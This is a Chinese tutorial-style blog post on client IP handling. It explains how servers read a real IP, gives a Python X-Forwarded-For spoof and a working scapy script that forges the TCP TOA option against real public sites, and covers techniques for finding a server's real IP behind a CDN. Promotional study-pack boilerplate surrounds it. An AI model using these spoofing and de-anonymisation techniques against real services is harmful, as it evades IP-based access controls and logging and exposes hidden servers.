先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
不带header再次发送
通过网络连接获取真实ip当然很简单,也真实,但是往往客户端与服务器不是直接连通,中间有LB、CDN等。
雷池WAF就是通过连接获取请求者源IP的。
TOA
有些产品会把ip放到TOA(TCP Options),转发给下游,例如LB(Load Balancer),因此,下游服务获取真实ip时需要从TOA中获取
proxy protocol
有v1 v2两个版本,都存在伪造问题,且主流LB没有使用这种方式,仅nginx这种开源的看到了,所以没有深究,请查看参考。
ip伪造
应用层
以WEB为例,修改header即可。
import requests
url = 'http://127.0.0.1:8000'
headers = {'X-Forwarded-For': '8.8.8.8'}
response = requests.get(url, headers=headers)
print(response.text)
截图
网络层
TOA攻击
一些服务会通过TOA来获取真实ip,因此,可以通过修改TCP的选项(Options)来隐藏真实ip。
这里使用的是linux下方式,修改所有包,工具见参考。
首先,我先试验了一下,使用自己宿主机的服务器,抓包查看
发现确实有修改,Options字段有值,之后找了几个查ip的网站,发现ip138不受影响,另一个网站是被欺骗了。
curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://2023.ip138.com | grep 您的IP
curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://zh-hans.ipshu.com/my_info | grep 下面是你的公 开IP
截图如下:
windows下可以自己写脚本来进行toa的修改
fake_toa.py
from scapy.all import \*
import socket
import struct
# 目标域名和端口
target_ip = '106.63.19.14'
target_port = 443
# 伪造的源 IP 地址
fake_ip = '111.111.111.222'
# 将伪造的 IP 地址转换为整数
fake_ip_as_int = struct.unpack("!I", socket.inet_aton(fake_ip))[0]
# 创建自定义的 TCP 选项
option_254 = (254, b'\x00\x50' + struct.pack('!I', fake_ip_as_int))
# 创建 IP 层
ip_layer = IP(dst=target_ip)
# 创建 TCP 层,不添加 TCP 选项
syn = TCP(sport=RandShort(), dport=target_port, flags='S')
# 组合 IP 层和 TCP 层,发送 SYN 数据包
syn_ack = sr1(ip_layer / syn)
# 检查是否收到 SYN+ACK 数据包
if syn_ack[TCP].flags == 'SA':
# 创建 ACK 数据包,也不添加 TCP 选项
ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='A', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)
# 发送 ACK 数据包
send(ip_layer / ack)
# 创建 HTTP 请求,只包含 Host 头部
# http\_request = 'GET /ip/local/geo/v1/district HTTP/1.1\r\n' \
# 'Host: qifu-api.baidubce.com\r\n\r\n'
http_request = 'GET / HTTP/1.1\r\n' \
'Host: 2023.ip138.com\r\n\r\n' \
# 创建 HTTP 数据包,这次在 TCP 层添加自定义的选项
http_packet = ip_layer / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='PA', seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1, options=[option_254]) / Raw(load=http_request)
# 接收 HTTP 响应
http_response = sr1(http_packet)
# 打印 HTTP 响应
if http_response:
print(http_response.show())
else:
print('No response')
else:
print('Did not receive SYN+ACK. Received: {}'.format(syn_ack[TCP].flags))
抓包可以看到,确实添加了Options字段的内容
proxy protocol
有v1、v2两个版本,都可以伪造,用的不多也没找到开源工具就没深究了。
隐藏
代理
比较宽泛,无法列举全。例如,使用cdn来隐藏自己服务器的ip,使用“梯子”做中间人来访问一些你的ip无法访问的网站,或者开四层、七层代理做转发,使用LB来做负载均衡的同时隐藏后端服务ip等
挖掘
代理
以cdn为例,这里找了一个博客网站,尝试获取真实ip
多地ping
可以看到使用了腾讯云的CDN
历史DNS解析记录
查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录
国外主机解析域名
有的网站负责人为了省钱,只对国内使用cdn,于是国外的流量都直接打到了真实服务器上。第一步ping的时候有了,国外也是通过cdn的。
网站RSS订阅
有的网站可以邮件订阅RSS,发送邮件的服务器就是使用网站所在的服务器,这里该网站没有此功能,失败。
网络空间搜索引擎
这里使用了zoomeye,我查ip没有显示cdn,以为成功了,问了博客作者,还是cdn的ip
总结
- proxy protocol没有研究,和TOA差不多,按照协议发包就行了,实现就交给读者吧。
- TOA的伪造方式还是不错的,非linux下没有btftools,可以自己写一个代理,把浏览器的流量转发到本地代理,代理的功能就是把TOA改一下。
- 一些代理隐藏ip还是不错的,除非网站从开始没有使用cdn、部分使用cdn,或网站服务器有其他服务导致真实ip发出包了。该博客作者我也问了,一开始就使用了CDN,也没有其他子域名、服务,应该是无法找到真实IP了。
参考
github-cloudproxy
github-FakeToa
github-xcdn
网络-TCP协议详解自学笔记(例题、代码、实战)
华为云-TOA插件配置
Github-FakeToa
NGC660安全实验室-IP伪造技术探究
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!